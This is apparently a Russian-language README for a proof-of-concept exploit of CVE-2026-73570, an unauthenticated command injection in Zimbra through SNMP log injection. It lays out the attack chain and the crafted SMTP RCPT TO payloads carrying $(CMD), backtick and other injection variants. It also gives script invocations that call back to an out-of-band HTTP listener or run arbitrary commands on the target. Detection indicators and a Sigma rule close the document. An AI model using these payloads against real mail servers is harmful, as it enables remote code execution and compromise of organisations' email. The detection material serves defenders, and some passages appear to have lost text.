
Эксплойт proof-of-concept для CVE-2026-73570 — неаутентифицированная инъекция команд ОС в Zimbra Collaboration Suite через инъекцию в лог zimbra-snmp, с рекомендациями по обнаружению.
Proof-of-concept эксплойт для CVE-2026-73570 — внедрение команд ОС без
аутентификации (CWE-78, CVSS 8.9) в Zimbra Collaboration Suite < 10.1.20,
когда установлен пакет zimbra-snmp и включены SNMP-уведомления.
Отказ от ответственности: Данный PoC предназначен исключительно для авторизованного тестирования на проникновение, оборонительных исследований и проверки собственных систем. Не используйте его против любых систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.
Функция SNMP-уведомлений Zimbra использует swatchdog для мониторинга
/var/log/zimbra.log на предмет событий сервисов. Когда строка лога
соответствует шаблону наблюдения, совпавший текст подставляется в shell-команду,
отправляющую SNMP-уведомление, — без санитизации.
Цепочка атаки:
1. Атакующий отправляет SMTP-сессию с подготовленным адресом RCPT TO:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
Локальная часть является quoted-string по RFC 5321, поэтому Postfix
принимает синтаксис адреса (включая пробелы, двоеточия, $(...)).
2. Postfix отклоняет получателя (relay denied / user unknown / sender
restriction) и записывает ПОЛНУЮ строку to=<...>, с удалёнными кавычками,
в /var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) периодически сканирует лог и сопоставляет его
с шаблоном watchfor "Service status change ... changed from ... to ...".
4. Совпавший текст подставляется в shell-команду SNMP-уведомления
-> $(CMD) вычисляется -> выполнение команды от имени пользователя `zimbra`.
Цель должна удовлетворять всем следующим условиям:
zimbra-snmpzmlocalconfig | grep -i snmp_notify)Сторона атакующего: Python 3 (только стандартная библиотека, без зависимостей).
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
Опции:
| Флаг | Описание |
|---|---|
-t, --target | IP/имя хоста SMTP целевого Zimbra (обязательно) |
-p, --port | Порт SMTP (по умолчанию: 25) |
--tls | Использовать STARTTLS (например, порт 587) |
--oob | OOB DNS-домен или URL HTTP-колбэка (рекомендуется) |
--cmd | Произвольная команда вместо OOB-колбэка |
--fake-host | Имя хоста внутри поддельной строки Service status change (по умолчанию: localhost) |
--check-only | Только фингерпринтинг, без отправки полезной нагрузки |
--delay | Задержка между отправками в секундах (по умолчанию: 1.0) |
--debug | Выводить полный SMTP-транскрипт |
Скрипт отправляет каждую команду в нескольких вариантах внедрения ($(...),
обратные кавычки, ;cmd;#, $({IFS}...)). Для каждого варианта следите за
кодом ответа на RCPT:
| Ответ на RCPT | Значение |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | Синтаксис адреса принят — строка отклонения с полной строкой to=<...> теперь в логе. Полезная нагрузка внедрена. |
501 5.1.3 Bad recipient address syntax | Postfix отклонил адрес на этапе разбора — ничего полезного не залогировано. Скрипт автоматически повторяет попытку с неэкранированным запасным вариантом. |
Затем подтвердите на сервере (если у вас есть доступ):
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/ # if you used --cmd
# or watch your OOB listener for the callback
Если строка лога присутствует, но команда так и не выполняется, оставшиеся
предусловия находятся на стороне swatchdog: проверьте, что процесс запущен
(ps aux | grep swatch) и что его конфигурация действительно отслеживает
шаблон Service status change.
Контекст выполнения: команды выполняются от имени пользователя zimbra
(не root).
fail2ban-client status, iptables -L -n | grep <your_ip> и убедитесь, что
пакеты доходят до Postfix, с помощью
tcpdump -i any port 25 and host <your_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ..., а не как строка
NOQUEUE: reject. Ищите по IP атакующего.Ключевые индикаторы успешной эксплуатации:
to=<*: Service status change: *$(...)* внутри
строки отклонения Postfix в /var/log/zimbra.log — практически нулевой
уровень ложных срабатываний, поскольку текст Service status change никогда
легитимно не появляется внутри адреса to=<>.sh, bash, curl, wget, nc, python, perl), запущенный как
дочерний процесс swatchdog / swatch..jsp/.jspx в
/opt/zimbra/jetty/webapps/ или /opt/zimbra/jetty_base/webapps/,
неожиданные файлы в /tmp/, новые записи cron или SSH-ключи для
пользователя zimbra, а также исходящие соединения с почтового сервера,
не соответствующие нормальному почтовому трафику.Пример правила Sigma (стадия попытки):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp до установки патча.